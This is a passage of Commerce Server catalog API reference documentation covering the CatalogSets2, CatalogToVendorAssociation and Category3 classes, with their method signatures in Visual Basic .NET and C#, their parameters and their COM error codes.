This method should be called whenever a catalog is deleted, before or after calling the CatalogManager.DeleteCatalog or ProductCatalog.DeleteCustomCatalog methods.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.UpdateCatalogSet Method (PIA)

Use this method to update an existing catalog set and its basic properties.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Sub UpdateCatalogSet(
  CatalogSetID As String,
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void UpdateCatalogSet(
  string CatalogSetID,
  string CatalogSetName,
  string CatalogSetDescription,
  bool bWildCard,
  _Recordset CatalogNamesRS
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID (GUID).
CatalogSetName
A String that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
A String that contains the catalog set description.
bWildCard
A Boolean that indicates which catalogs to use. A value of True indicates use all catalogs. A value of False indicates use the catalogs contained in the CatalogNamesRS parameter.
CatalogNamesRS
The _Recordset interface of a Recordset object that contains the catalog names.
[C#]
CatalogSetID
A string that contains the catalog set ID (GUID).
CatalogSetName
A string that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
A string that contains the catalog set description.
bWildCard
A bool that indicates which catalogs to use. A value of true indicates use all catalogs. A value of false indicates use the catalogs contained in the CatalogNamesRS parameter.
CatalogNamesRS
An ADODB26Lib._Recordset interface to the Recordset object that contains the catalog names. If bWildCard is false, this parameter is ignored and can be set to Type.Missing.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2 Properties (PIA)

Properties

Property | Type | Description
OrganizationObjectCatalogSetKey | String | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | String | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | String | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | String | Stores the name of the organization object. This property is read/write.
UserObjectCategoryName | String | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | String | Stores the join key for the user object. This property is read/write.
UserObjectName | String | Stores the name of the user object. This property is read/write.
UserObjectOrganizationKey | String | Stores the organization key for the user object. This property is read/write.


CatalogSets2.OrganizationObjectCatalogSetKey Property (PIA)

The OrganizationObjectCatalogSetKey property is a read/write string that contains the CatalogSet key for the organization object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property OrganizationObjectCatalogSetKey as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string OrganizationObjectCategorySetKey( get; set;)

PropertyValue

[C#] [in] When putting the property, a BSTR that contains the OrganizationObjectCatalogSetKey.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectCatalogSetKey.

[Visual Basic .NET] None.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.OrganizationObjectCategoryName Property (PIA)

The OrganizationObjectCategoryName property is a read/write string that contains the category name of the organization object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property OrganizationObjectCatalogName as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string OrganizationObjectCategoryName( get; set;)

PropertyValue

[C#] [in] When putting the property, a BSTR that contains the OrganizationObjectCategoryName.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectCategoryName.

[Visual Basic .NET] None.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.OrganizationObjectJoinKey Property (PIA)

The OrganizationObjectJoinKey property is a read/write String that contains the join key of the organization object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property OrganizationObjectJoinKey as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string OrganizationObjectJoinKey ( get; set;)

PropertyValue

[C#] [in] When putting the property, a BSTR that contains the OrganizationObjectJoinKey.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectJoinKey.

[Visual Basic .NET] None.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.OrganizationObjectName Property (PIA)

The OrganizationObjectName property is a read/write String that contains the name of the organization object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property OrganizationObjectName as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string OrganizationObjectName ( get; set;)

PropertyValue

[Visual Basic .NET] None.

[C#] [in] When putting the property, a BSTR that contains the OrganizationObjectName.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectName.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.UserObjectCategoryName Property (PIA)

The UserObjectCategoryName property is a read/write String that contains the category name of the user object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property UserObjectCategoryName as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string UserObjectCategoryName ( get; set;)

PropertyValue

[Visual Basic .NET] None.

[C#][in] When putting the property, a BSTR that contains the UserObjectCategoryName.
[out, retval] When getting the property, a BSTR used to return the UserObjectCategoryName.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.UserObjectJoinKey Property (PIA)

The UserObjectJoinKey property is a read/write String that contains the join key of the user object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property UserObjectJoinKey as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string UserObjectJoinKey ( get; set;)

PropertyValue

[Visual Basic .NET] None.

[C#] [in] When putting the property, a BSTR that contains the UserObjectJoinKey.
[out, retval] When getting the property, a BSTR used to return the UserObjectJoinKey.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.UserObjectName Property (PIA)

The UserObjectName property is a read/write String that contains the name of the user object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property UserObjectName as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string UserObjectName ( get; set;)

PropertyValue

[Visual Basic .NET] None.

[C++] [in] When putting the property, a BSTR that contains the UserObjectName.
[out, retval] When getting the property, a BSTR used to return the UserObjectName.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.UserObjectOrganizationKey Property (PIA)

The UserObjectOrganizationKey property is a read/write String that contains the organization key of the user object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property UserObjectOrganizationKey as String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string UserObjectOrganizationKey ( get; set;)

PropertyValue

[Visual Basic .NET] None.

[C#] [in] When putting the property, a BSTR that contains the UserObjectOrganizationKey.
[out, retval] When getting the property, a BSTR used to return the UserObjectOrganizationKey.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogToVendorAssociation Class (PIA)

Use this object to associate catalogs with vendors.

Methods

Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)


CatalogToVendorAssociation Methods (PIA)

Methods

Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.


CatalogToVendorAssociation.GetVendorInfoForCatalog Method (PIA)

Use this method to retrieve information about the vendor associated with the specified catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetVendorInfoForCatalog(
  szCatalogID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetVendorInfoForCatalog(
  string szCatalogID
);

Parameters

[Visual Basic .NET]
szCatalogID
A String that contains the ID of the catalog for which vendor information will be returned.
[C#]
szCatalogID
A string that contains the ID of the catalog for which vendor information will be returned.

Return Values

This method returns an ADO ADODB26Lib._Recordset interface to a Recordset object containing the requested vendor information.

[Visual Basic .NET]

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Example

rsVendorInfo = _
  myCatalogToVendorAssociation.GetVendorInfoForCatalog(szCatalogID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)

See Also

CatalogToVendorAssociation Class


CatalogToVendorAssociation.GetVendorList Method (PIA)

Use this method to retrieve a list of vendors associated with the passed alias qualifier and value, and associated with the input document name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetVendorList(
  szSourceAliasQualifier As String,
  szSourceAliasValue As String,
  szInputDocumentName As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetVendorList(
  string szSourceAliasQualifier,
  string szSourceAliasValue,
  string szInputDocumentName
);

Parameters

[Visual Basic .NET]
szSourceAliasQualifier
A String that contains the source alias qualifier.
szSourceAliasValue
A String that contains the source alias value.
szInputDocumentName
A String that contains the input document name.
[C#]
szSourceAliasQualifier
A string that contains the source alias qualifier.
szSourceAliasValue
A string that contains the source alias value.
szInputDocumentName
A string that contains the input document name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface to a Recordset object containing the requested list of vendors.

[C#] This method returns an ADO ADODB26Lib._Recordset interface to a Recordset object containing the requested list of vendors.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • This method is only available when BizTalk Server is installed. It requires the BizTalKDBInternal object.
[Visual Basic .NET]

Example

rsVendorList = _
  myCatalogToVendorAssociation.GetVendorList( _
    szSourceAliasQualifier, szSourceAliasValue, _
    szInputDocumentName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)

See Also

CatalogToVendorAssociation Class


CatalogToVendorAssociation.Initialize Method (PIA)

Use this method to initialize a CatalogToVendorAssociation object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub Initialize(
  vConnectionString As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Initialize(
  string vConnectionString
);

Parameters

[Visual Basic .NET]
vConnectionString
A String that contains the connection string for the database containing the catalog to vendor associations.
[C#]
vConnectionString
A string that contains the connection string for the database containing the catalog to vendor associations.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

myCatalogToVendorAssociation.Initialize(vConnectionString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)

See Also

CatalogToVendorAssociation Class


CatalogToVendorAssociation.SpecifyVendorForCatalog Method (PIA)

Use this method to associate a vendor with a particular catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub SpecifyVendorForCatalog(
  szCatalogID As String,
  szVendorQualifier As String,
  szVendorQualifierValue As String,
  szVendorName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void SpecifyVendorForCatalog(
  string szCatalogID,
  string szVendorQualifier,
  string szVendorQualifierValue,
  string szVendorName
);

Parameters

[Visual Basic .NET]
szCatalogID
A String that contains the identifier of the catalog with which to associate the specified vendors.
szVendorQualifier
A String that contains the qualifier of the vendor to be associated with the specified catalog.
szVendorQualifierValue
A String that contains the qualifier value of the vendor to be associated with the specified catalog.
szVendorName
A String that contains the name of the vendor to be associated with the specified catalog.
[C#]
szCatalogID
A string that contains the identifier of the catalog with which to associate the specified vendors.
szVendorQualifier
A string that contains the qualifier of the vendor to be associated with the specified catalog.
szVendorQualifierValue
A string that contains the qualifier value of the vendor to be associated with the specified catalog.
szVendorName
A string that contains the name of the vendor to be associated with the specified catalog.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

myCatalogToVendorAssociation.SpecifyVendorForCatalog( _
  szCatalogID, szVendorQualifier, _
  szVendorQualifierValue, szVendorName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)

See Also

CatalogToVendorAssociation Class


CatalogToVendorAssociation.UnspecifyVendorForCatalog Method (PIA)

Use this method to disassociate a catalog with any previously associated vendors.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub UnspecifyVendorForCatalog(
  szCatalogID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void UnspecifyVendorForCatalog(
  string szCatalogID
);

Parameters

[Visual Basic .NET]
szCatalogID
A String that contains the identifier of the catalog with which no vendors should be associated.
[C#]
szCatalogID
A string that contains the identifier of the catalog with which no vendors should be associated.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

myCatalogToVendorAssociation.UnspecifyVendorForCatalog(szCatalogID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgvndr (in cs_ctlgvndr.dll)

See Also

CatalogToVendorAssociation Class


Category Class (PIA)

Use this object to work with relationships between categories and products. You can also use this object to manipulate parent/child relationships for a category.

Methods

Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
Search | Searches product and category data within the category and its children.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.

Properties

Property | Type | Description
AncestorCategories | ADODB26Lib._Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category, in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | String | Contains the name of this category. This property is read-only.
ChildCategories | ADODB26Lib._Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
DescendantProducts | ADODB26Lib._Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | ADODB26Lib._Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | ADODB26Lib._Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | ADODB26Lib._Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | ADODB26Lib._Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | ADODB26Lib._Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.

Remarks

The Category object is a dependent object. Obtain a reference to it by calling one of the following methods:

  • ProductCatalog.CreateCategory
  • ProductCatalog.GetCategory

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)


Category3 Methods (PIA)

Methods

Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
Search | Searches product and category data within the category and its children.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.


Category3.AddChildCategory Method (PIA)

Use this method to add a category as a child to this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddChildCategory(
  strCategoryName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddChildCategory(
  string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be added as a child to this category.
[C#]
strCategoryName
A string that contains the name of the category to be added as a child to this category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_INVALID_CHILDCATEGORY | [C#] 0x8898005D [Visual Basic .NET] &H8898005D | An invalid relationship has been specified. The category that you specified already exists as a parent of this category.
E_CAT_CATEGORY_ALREADY_ADDED | [C#] 0x8898002D [Visual Basic .NET] &H8898002D | The category you specified is already added.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs
[Visual Basic .NET]

Example

myCategory.AddChildCategory("shirts")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category.AddParentCategory

Category.RemoveChildCategory


Category3.AddParentCategory Method (PIA)

Use this method to add the specified category as a parent of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddParentCategory(
  strCategoryName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddParentCategory(
  string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be added as a parent to this category.
[C#]
strCategoryName
A string that contains the name of the category to be added as a parent to this category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_CATEGORY_ALREADY_ADDED | [C#] 0x8898002D [Visual Basic .NET] &H8898002D | The category you specified is already added.
E_CAT_PARENT_CAT_EXISTS_AS_CHILD | [C#] 0x88980052 [Visual Basic .NET] &H88980052 | The category that you specified as a Parent category already exists as a child category for this category.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.
[Visual Basic .NET]

Example

myCategory.AddParentCategory("Apparel")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category.AddChildCategory

Category.RemoveParentCategory


Category3.AddProduct Method (PIA)

Use this method to add the specified product to this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddProduct(
  varProductID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddProduct(
  object varProductID
);

Parameters

[Visual Basic .NET]
varProductID
An Object that contains the product to be added.
[C#]
varProductID
An object that contains the product to be added.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the ProductID is either out of range or else it does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_PRODUCT_ALREADY_ADDED | [C#] 0x88980029 [Visual Basic .NET] &H88980029 | The product you specified is already present in this category.

Remarks

A product may exist in multiple categories simultaneously, without limit.

[Visual Basic .NET]

Example

myCategory.AddProduct("SKU4005")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category3 Object

Category3.RemoveProduct


Category3.AddRelationshipToCategory Method (PIA)

Use this method to add a relationship from this category to another specified category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String,
  Optional strRelationshipDescription As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddRelationshipToCategory(
  string strRelatedCategoryName,
  string strRelationshipName,
  object strRelationshipDescription
);

Parameters

[Visual Basic .NET]
strRelatedCategoryName
A String that contains the name of the category to which a relationship is to be added.
strRelationshipName
A String that contains a name for the relationship.
strRelationshipDescription
An Object of subtype String that contains an optional description for the relationship.
[C#]
strRelatedCategoryName
A string that contains the name of the category to which a relationship is to be added.
strRelationshipName
A string that contains a name for the relationship.
strRelationshipDescription
An object of subtype String that contains an optional description for the relationship. Set to Type.Missing to specify no description.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_RELATION_DESC | [C#] 0x88980055 [Visual Basic .NET] &H88980055 | The value you specified for the relationship description exceeds 256 characters. Relationship descriptions should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C#] 0x8898011B [Visual Basic .NET] &H8898011B | A virtual catalog’s included relationships cannot be directly edited. (They can only be edited in the base catalog context).
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs

Remarks

